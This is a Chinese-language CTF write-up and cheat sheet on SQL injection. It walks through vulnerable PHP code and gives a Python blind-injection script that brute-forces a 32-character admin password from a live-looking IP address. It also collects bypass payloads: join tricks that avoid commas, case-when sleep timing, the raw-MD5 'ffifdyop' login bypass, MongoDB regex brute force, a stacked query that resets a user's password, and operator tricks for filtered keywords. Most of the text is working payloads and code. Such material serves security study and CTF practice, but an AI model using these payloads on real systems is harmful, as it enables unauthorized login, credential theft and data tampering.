1.代码审计发现 这里没有用escape_string,因此存在注入。
1 function show($username){ 2 global $conn; 3 $sql = "select role from `user` where username ='".$username."'"; 4 $res = $conn ->query($sql); 5 if($res->num_rows>0){ 6 echo "$username is ".$res->fetch_assoc()['role']; 7 }else{ 8 die("Don't have this user!"); 9 } 10 }
通过这里注入可以得到pasaword,$usename为被 单引号引起,所以应该首先注意闭合单引号。
pyhton脚本如下:
1 # --coding:utf-8-- import requests 2 url="http://117.34.111.15:89/?action=show" 3 passwd="" 4 lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm" 5 for i in xrange(1,33): 6 print i 7 for p in lists: 8 param={'username':"-1'=(ascii(mid((passwd)from("+str(i)+")))="+str(ord(p))+")='0"} 9 print requests.post(url,data=param).content 10 if "admin" in requests.post(url,data=param).content: 11 passwd=passwd+p 12 break 13 print passwd
首先可以通过注入得到password长度为32,即我们需要爆破32位长度的密码。
利用 (-1=x=x=0)=true的逻辑来依次判断出每一位密码。
因为有32位,所以外层循环需要32次,对每一次都需要内层循环遍历所有的数字和字母,当三个等于号为true时,页面返回中会返回包含“admin”的字符串,此时可以将爆破出的一位密码位保留。
登陆就是flag 登陆这里的admin判断直接用admin%c2这个去绕过(mysql客户端与数据库的字符转换trick,当客户端为utf8,数据库为latin1的时候,latin1不允许出现汉字,所以将%c2视为无用部分舍去)。
2.当注入时出现逗号,空格被过滤且关键字段被过滤
首先创建一张表作为要被查询的表作为演示
插入一些数据;
我们的目的是查询出id=4的passwd的值,但是空格逗号被过滤以及passwd字段被过滤,所以首先绕过空格和逗号的过滤,
空格的过滤可以用//,/**/,(),+绕过
逗号,关键字段可以用join查询来实现,以便于实现union联合查询。
首先看一下join的效果:
这里的1,2,3,4是我们可以替换的用于显示的数据位,比如:
我们通过id主键来查询出每一条结果
为了查出第四条记录的passwd字段的值,首先构造:
1 select * from((select 1)a join (select 2)b join (select 3)c join (select 4)d)
假设字段三是数据回显位,则将(select 3)改写为:
1 (select result.3 from (select * from ((select 1)q join (select 2)w join (select 3)e join (select 4)r) union select * from table3 limit 1 offset 3) result)c
则最终语句为:
1 select * from((select 1)a join (select 2)b join (select result.3 from(select * from ((select 1)q join (select 2)w join (select 3)e join (select 4)r)union select * from table3 limit 1 offset 4)result)c join (select 4)d);
3.过滤了逗号,延时注入(sleep()函数):
首先无法使用if函数,但是可以用select case函数代替
1 select case when (条件1) 代码1 else (条件2) 代码2
即可构造
1 1 -1' select case when (substring(select flag from flag from i for 1))=j) then sleep(6) else 0 end and '1'='1
脚本如下:
4.sql in hash
代码如下:
1 <?php 2 error_reporting(0); 3 $link = mysql_connect('localhost', 'root', ''); 4 if (!$link) { 5 die('Could not connect to MySQL: ' . mysql_error()); 6 } 7 // 选择数据库 8 $db = mysql_select_db("test", $link); 9 if(!$db) 10 { 11 echo 'select db error'; 12 exit(); 13 } 14 // 执行sql 15 $password = "ffifdyop"; 16 $sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"; 17 var_dump($sql); 18 $result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' ); 19 $row1 = mysql_fetch_row($result); 20 var_dump($row1); 21 mysql_close($link); 22 ?>
我们在不知道密码的情况下要完成登陆,切密码经过hash,因为可以将hash之后的16进制转为字符串,即
即此时可构成注入 ,查询语句如下:
1 select * from admin where pass= ''or'6<trash>'
5.sql逻辑绕过:
1 select * from *** where username ="" and password="";
即构造select * from *** where username = " " =" " and password =" " =" ";
6.基于时间的延时注入:
1 ' or sleep(10) and ''='
发现存在延时,此时首先测试flag的长度:
' and select((select length(flag) from flag)=32) or '1
7.基于Mongodb的注入:
利用正则爆破admin账户的密码:
当匹配每一位字符时,若匹配正确则302跳转,若匹配错误,则无跳转,则根据是否发生跳转来判断每一位字符。
利用(.*)正则表达式去匹配除了被测试的当前字符以外的其他所有字符。
或者利用另一种正则匹配:
若匹配当前字符正确,则继续匹配,由于默认最后一个字符为 } ,则当匹配到 } 时,匹配结束。
8.宽字节盲注:
情况:and、or、mid、substr、union、>、<、空白符、ascii等为敏感词,
9.重置用户密码:
1 select username ,password from user where username='$username'
1 select username ,password from user where username='x';update user set password='123456' where userId=1 #''
10.逻辑符号被过滤时的注入
过滤*,#,/ ,and,or,|,union,空格
此时可以用的payload
①:admin'%(1)%'1
括号中为所使用的判断条件
例如可以判断数据库长度:
admin'%(select length(database())>1)%'1'
判断数据库名字
admin'%(ascii(mid(database()) from 1 for 1)=90)%'1'
②:admin'^(1)^'1'
同上,括号中填入要执行的条件